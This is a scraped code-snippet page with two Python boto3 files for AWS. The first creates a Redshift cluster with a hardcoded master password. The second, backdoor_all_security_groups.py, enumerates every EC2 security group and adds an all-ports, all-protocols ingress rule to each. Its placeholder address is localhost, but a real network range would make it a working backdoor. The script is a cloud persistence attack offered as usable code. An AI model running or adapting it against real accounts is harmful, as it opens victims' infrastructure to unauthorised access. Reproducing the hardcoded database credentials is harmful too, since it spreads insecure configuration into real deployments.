Best Python code snippet using localstack_python
RdsToRedshiftSqoopSample.py
Source:RdsToRedshiftSqoopSample.py
...70 client = boto3.client('redshift')71 # create security group72 client.create_cluster_security_group(ClusterSecurityGroupName=self.redshift_security_group,73 Description='Security group for redshift for sqoop example')74 client.authorize_cluster_security_group_ingress(ClusterSecurityGroupName=self.redshift_security_group,75 EC2SecurityGroupName='elasticmapreduce-master',76 EC2SecurityGroupOwnerId=self.account_id)77 client.authorize_cluster_security_group_ingress(ClusterSecurityGroupName=self.redshift_security_group,78 EC2SecurityGroupName='elasticmapreduce-slave',79 EC2SecurityGroupOwnerId=self.account_id)80 # create cluster81 client.create_cluster(DBName='redshiftsqoop',82 ClusterIdentifier=self.redshift_id,83 ClusterType='single-node',84 NodeType='dc1.large',85 MasterUsername='dplcustomer',86 MasterUserPassword='Dplcustomer1',87 ClusterSecurityGroups=[88 self.redshift_security_group,89 ])90 # wait for cluster to be created91 waiter = client.get_waiter('cluster_available')...
backdoor_all_security_groups.py
Source:backdoor_all_security_groups.py
1#!/usr/bin/env python2from __future__ import print_function3import boto34from botocore.exceptions import ClientError5import json6import random7# A list of rules to add at random to security groups.8BACKDOOR_RULES = [9 { 'FromPort': 0, 'ToPort': 65535, 'CidrIp': '127.0.0.1/32', 'IpProtocol': '-1'}10]11def main(args):12 backdoor_security_groups(get_security_groups())13 14def get_security_groups():15 client = boto3.client('ec2')16 response = None17 security_group_names = []18 marker = None19 20 response = client.describe_security_groups()21 for security_group in response['SecurityGroups']:22 security_group_names.append(security_group['GroupName'])23 24 return security_group_names25def backdoor_security_groups(security_group_names):26 for security_group_name in security_group_names:27 backdoor_security_group(security_group_name)28def backdoor_security_group(security_group_name):29 print(security_group_name)30 client = boto3.client('ec2')31 backdoor_rule = random.choice(BACKDOOR_RULES)32 try:33 response = client.authorize_security_group_ingress(34 GroupName=security_group_name,35 CidrIp=backdoor_rule['CidrIp'],36 FromPort=backdoor_rule['FromPort'],37 ToPort=backdoor_rule['ToPort'],38 IpProtocol=backdoor_rule['IpProtocol']39 )40 # If it is an old account, you may need to use:41 # authorize_db_security_group_ingress42 # authorize_cache_security_group_ingress43 # authorize_cluster_security_group_ingress44 except ClientError as e:45 print(" " + e.response['Error']['Message'])46if __name__ == '__main__':47 args = None...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!